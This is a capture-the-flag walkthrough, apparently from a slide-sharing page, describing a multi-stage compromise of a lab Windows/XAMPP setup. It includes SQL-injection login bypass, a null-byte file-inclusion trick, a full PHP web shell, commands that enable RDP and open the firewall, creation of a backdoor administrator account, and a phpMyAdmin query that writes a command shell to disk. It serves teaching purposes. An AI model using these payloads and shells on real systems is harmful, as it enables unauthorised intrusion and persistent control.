Cracking CTFs The Sysbypass CTF

Cracking CTFs - Sysbypass CTF
The Walkthrough
Riyaz Walikar a.k.a karniv0re
http://www.riyazwalikar.com

This is the third Capture the Flag setup in a series of games that I wrote for the Null meets. The aim of
this CTF was to read the contents of a file called flag.txt. The start address was provided to be
http://192.168.56.10/.

All major breakthroughs are separated into levels along with a make-shift title for each one of them.

Level 1 - Bypassing Login
The application landing page on http://192.168.56.10/ consisted of a login page. Since no usernames
where known, an attempt was made to identify via the source code and via the error message. This did
not yield any results.

The page was then tested for SQL injection and was found to be vulnerable. The error message that was
generated also showed the path of the application directory. The application was being run on
XAMPPLite.

Using different combinations of username' or 1=1 -- still gave errors. Finally, entering admin') -- in the
username field gave instant access into the application.

Level 2 - Local File Inclusion
The application post login bypass was a simple page with a drop down box having 4 colors as options
(White, Red, Green, Blue).

When a color is selected, the page sends the name of the color via a GET request and the page
background color changes.

Any other string passed as the color variable results in the page color to change to white. By trial and
error it was found that the application reads the <body bgcolor=green> string from files in the
application directory. Four text files were found called white.txt, red.txt, green.txt and blue.txt.

It was hence deduced that the application appends '.txt' to the variable passed to color via the GET
request and attempts to open and read the contents of the file. If the file doesn’t exist, the application
defaults to a white background.

An attempt was then made to read any other files on the hard drive. Assuming the backend OS to be
Windows, an attempt was made to read the C:boot.ini file.

The null byte at the end of the query string was added to terminate the string so that the OS does not
read the file as boot.ini.txt (the .txt being appended by the application). Since now we could make the
application open and read files we wanted, an obvious attempt was made to read a file that contained
an application shell, providing command execution via GET or POST requests. The application did not
contain any other pages and did not support the PUT method; hence an alternative method of uploading
files had to be searched.

Level 3 - FTP File Upload
A quick nmap scan with version detection showed a Microsoft FTP server running on port 4242. A more
intense version detection scan showed that the FTP server supported anonymous logins. Filezilla was
used to connect and upload shell as shown in the screenshots below.

The default directory for Microsoft FTP is <drive>inetpubftproot where <drive> is the drive where IIS
is installed. An attempt was then made to read the shell.txt file using the path
../../../../inetpub/ftproot/shell

The following is the content of the shell.txt file that was uploaded. This is a simple web application
backdoor that executes the command passed via the text box. There are more complex shells available
on the Internet that can perform other complex functions like file upload and download, file system
functions and Windows registry manipulation.

<html>
<body>
<br />
<form method="post">
<input type="text" name="cmd">
<input type="submit" value="Execute!">
<br />
<h2>Command Output</h2>
<pre>
<?php
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
if (strlen($cmd)==0){
$cmd = "true";
}
system($cmd);
die;
}
?>
</pre>
</body>
</html>

The following screenshot shows the command input field.

OS commands can now be executed via this shell. Since the flag file was known to be flag.txt, an attrib
command was run on the most common locations where the file could be found. These locations
included the C:, the desktop directory of all the users on the system and the web application directory.

Since the flag was not found on the file system, it was possible that hints to the flag file could exist in the
database. To find the name and credentials for the database, a copy of the index.php file was made as
index.txt in the same directory using copy index.php index.txt to be read via the browser.

Level 4 - Discovering the DB Server
It was found that the database instance was running on a different server altogether whose IP address
was 192.168.56.12. A quick nmap scan showed that all requests to 192.168.56.12 were being filtered
from my machine.

Since the application on 192.168.56.10 was able to communicate with the DB server on 192.168.56.12,
it was evident that the application server was the only way to reach the database server.

Level 5 - Getting Remote Desktop Access to 192.168.56.10
An nmap scan earlier had already shown that the RDP port 3389 was not open, as is evident below.

A quick check was performed using the Windows reg command to verify whether RDP is turned on but is
being blocked by the firewall or not. In Windows Operating Systems that run Terminal Services, the
DWORD value of fDenyTSConnections at HKLMSystemCurrentControlSetControlTerminal Server
determines whether RDP is enabled or not. A value of 1 indicates RDP is turned off and a value of 0 turns
the Remote Desktop Service on. A restart/logoff is not required in most cases to change the state of the
Remote Desktop Service. The command to query the relevant key is as follows:

reg query "HKLMSystemCurrentControlSetControlTerminal Server"

Using the reg command, it was possible to remotely enable Remote Desktop on the server via the web
shell. The command to add/edit an entry to the Windows registry, in this case the relevant Terminal
Server key is as follows:

reg add "HKLMSystemCurrentControlSetControlTerminal Server" /v
fDenyTSConnections /d 0 /t REG_DWORD /f

The above command adds/updates the fDenyTSConnections whose type is a REG_DWORD with data
value 0. The /f switch is used to tell the reg command to update the entry without asking for
confirmation.

After running the command, the Remote Desktop Service is enabled as evidenced by the output of
another reg query.

As explained before, a value of 0 for the fDenyTSConnections variable enables the Remote Desktop
Service.

An nmap scan was re-run to confirm whether the RDP service was visible over the network. However,
nmap still showed port 3389 in filtered state.

Using the command line program, netsh.exe, it is possible to view/add/update Windows firewall rules
amongst loads of other functionalities that the program offers.

The following command shows the current firewall rules enabled on the server:

netsh firewall show config

The output clearly shows that the firewall allows connections only on port 80 and any ports opened by
the inetinfo.exe executable, which is also responsible for the ftpd service that was running on port 4242.

To connect to 192.168.56.10 via RDP, it was necessary to open port 3389 on the firewall using the
command line. This can also be achieved using netsh via the following command:

netsh firewall set portopening TCP 3389

The netsh firewall show config output now contains the entry to allow connections on port 3389.

A quick nmap scan shows the port to be open. We can then connect using mstsc and access the remote
server.

To login into the server via RDP, a valid user account is required which can be obtained by creating users
via the web shell. The newly created user can then be added to the administrators group to be able to
login into the server.

Level 6 - Creating users on 192.168.56.10 to connect via RDP
The following commands can be used to check current users and create a new user and add him to the
administrators group:

net users

net user riyaz pa55w0rd /add

net localgroup administrators riyaz /add

net user riyaz

Once the user, riyaz here, is added to the administrator group, we can connect to the remote server via
RDP using the password pa55w0rd.

Level 7 - Reaching the DB Server
It is already known that the DB server would be reachable from 192.168.56.10. A command line port
scanner can be uploaded via mstsc using the Local Resources sharing option. We can use Foundstone’s
Scanline command line port scanner with the -bp option to get service banners and to assume the
system is up. Once sl.exe is copied to 192.168.56.10, we can execute sl -bp 192.168.56.12, via RDP or
the web shell, to find open ports on 192.168.56.12.

Scanline detected 2 open ports, 80 (HTTP) and 3306 (MySQL) on 192.168.56.12. The banners show more
detailed output regarding the servers. Since port 80 is open, we can see what site is running using
Internet Explorer on 192.168.56.12.

The DB Server, 192.168.56.12 is running XAMPPLite and phpMyAdmin is publicly accessible (default
configuration). A quick check on the contents of all the databases was done to see if there is any
information we could use to leverage our attack, however no interesting information existed in the
databases that could be used to gain system access.

Level 8 - Gaining a Shell on 192.168.56.12
Using phpMyAdmin we can create a file on the server that can be used to execute commands on the
server. The phpinfo() command/page available via the XAMPP home page shows the installation
directory where we can attempt to create a php file using phpMyAdmin SQL Query Execution tab. The
SQL query that can be used to create a php file that could execute OS commands on the DB server is as
given below:

select '<?php system($_GET["x"])?>' into dumpfile 'C:xampplitephpmyadmincmd.php'

This creates a file called cmd.php that allows execution of OS commands in the phpMyAdmin directory.
This can be executed by accessing http://192.168.56.12/phpmyadmin/cmd.php?x=<command> from
192.168.56.10. A dir command was run on the most common locations where the file could be found.
These locations included the desktop directory of all the users on the system and the C drive. The
flag.txt file was found in the root of C Drive using this method.

Level 9 - Reading the flag.txt file
Using the type command the contents of the C:flag.txt can be read to the screen.

The CTF is completed when the string "You know what the Goa'uld really want from us? Minnesota.
That's what. For the fishing mostly." is mailed to the creator of the CTF, that’s me 

There are several different ways of reaching the flag.txt on the DB server. This walkthrough is just one of
the most convenient and enlightening ways of doing it.

Riyaz Walikar a.k.a karniv0re
riyazwalikar@gmail.com
http://www.riyazwalikar.com

Cracking CTFs The Sysbypass CTF

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

Similaire à Cracking CTFs The Sysbypass CTF

Similaire à Cracking CTFs The Sysbypass CTF (20)

Dernier

Dernier (20)

Cracking CTFs The Sysbypass CTF